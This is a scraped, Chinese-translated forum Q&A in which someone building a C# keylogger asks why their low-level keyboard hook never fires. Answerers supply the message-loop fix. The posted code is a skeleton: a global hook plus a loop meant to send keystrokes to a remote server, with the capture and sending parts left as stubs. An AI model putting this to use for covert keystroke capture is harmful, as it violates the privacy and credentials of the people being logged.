.NET 应用程序中未调用低级键盘挂钩

Posted

技术标签:

【中文标题】.NET 应用程序中未调用低级键盘挂钩【英文标题】:Low level keyboard hook not being called in .NET application 【发布时间】:2011-04-07 17:25:13 【问题描述】:

我正在用 C# 编写一个键盘记录器,但是在从键盘事件中调用我的钩子方法时遇到了一些麻烦。我的代码看起来是正确的,但由于某种原因回调没有发生。

以下是相关代码:

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);

private const int WH_KEYBOARD_LL = 13;
private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookHandle = IntPtr.Zero;

static void Main()

    /* install low level global keyboard hook */
    HookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, GetModuleHandle(null), 0);

    /* every 60 seconds, process collected keystrokes */
    for (;;)
    
        Thread.Sleep(60000);
        SendKeyData();
    


private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)

    /* code to handle key events would be here */

    return CallNextHookEx(HookHandle, nCode, wParam, lParam);


private static void SendKeyData()

    /* code to send accumulated keystroke data to remote server would be here */

SetWindowsHookEx 调用按原样返回一个句柄(即不是 null),所以它应该意味着它已安装,但是当我在 HookCallback 中放置断点时,它永远不会到达。

谁能告诉我我可能做错了什么?

【问题讨论】:

注释掉for块有用吗? 不,如果我这样做,这个过程会立即结束。 使用 Timer 而不是无限 for 循环可能是更好的做法。至少使用 Timer 可以在必要时停止它。 【参考方案1】:

看起来您正在编写一个控制台应用程序。这应该是一个表单应用程序,因为您正在处理 Windows 事件。只需隐藏表单,它应该可以工作。

作为控制台应用程序的解决方法,您可以在循环中调用 Application.DoEvents()

for (;;)

    Thread.Sleep(1);
    Application.DoEvents(); //Process event queue
    SendKeyData();


请将此用于善,而不是恶。

【讨论】:

不要睡一分钟,那会触发钩子超时。 45 毫秒是一个快乐的数字。 Application.Run() 更好。 非常感谢!你们两个答案的结合使我获得了成功的结果。我没有意识到我需要一个明确的消息循环。现在我的程序调用 Application.Run() 来执行此操作,并且关键数据的发送是通过 BackgroundWorker 使用单独的线程完成的(并且两个线程之间通过同步队列进行通信)。我将使用工作代码更新我的问题。 如果您需要使用sleep,请使用sleep(1)。此代码延迟所有键盘输入,并且 IMO 都像@HansPassant 建议的那样延迟了 45 毫秒,而 450 毫秒是不可接受的。正确的解决方案是阻塞消息分发,但不知道如何在 C# 的控制台应用程序中执行此操作,而无需直接调用 winapi 函数。 呃,我一秒钟读不懂 1000 个字符。 45 毫秒是“快得像电影一样快”和“刚好够 Windows 滴答”的快乐。 Application.Run() 是“阻塞消息调度”。 在玩游戏时,我不想让一些代码添加在 0 到 45 毫秒之间随机变化的输入延迟。【参考方案2】:

尝试将 GetModuleHandle(null) 替换为

GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName)

看看这是否能解决问题。请注意,从 GetCurrentProcess() 返回的 Process 对象和从 MainModule 返回的 ProcessModule 对象都是一次性的,因此您可能希望将它们声明为变量,然后手动处理它们;更好的是,将它们放在using 块中。

【讨论】:

感谢您的回复,但这不是问题 - 虽然我最初确实对 SetWindowsHookEx 的参数有问题,当我只需要模块句柄时错误地为线程 ID 设置了一个参数全局钩子的当前进程。

以上是关于.NET 应用程序中未调用低级键盘挂钩的主要内容,如果未能解决你的问题,请参考以下文章

用于 C# 和 WPF 的高级全局键盘钩子,用于读取键盘楔形卡扫描仪

在 VS2008 调试器中调用 SetWindowsHookEx 总是返回 NULL

是否可以从 .NET 的全局键盘挂钩中确定当前用户

区分鼠标设备和低级鼠标挂钩

后控制器挂钩不会在 codeigniter 中未找到的控制器上抛出 404

C# .net sendkeys 不使用 SendKey() 而是使用挂钩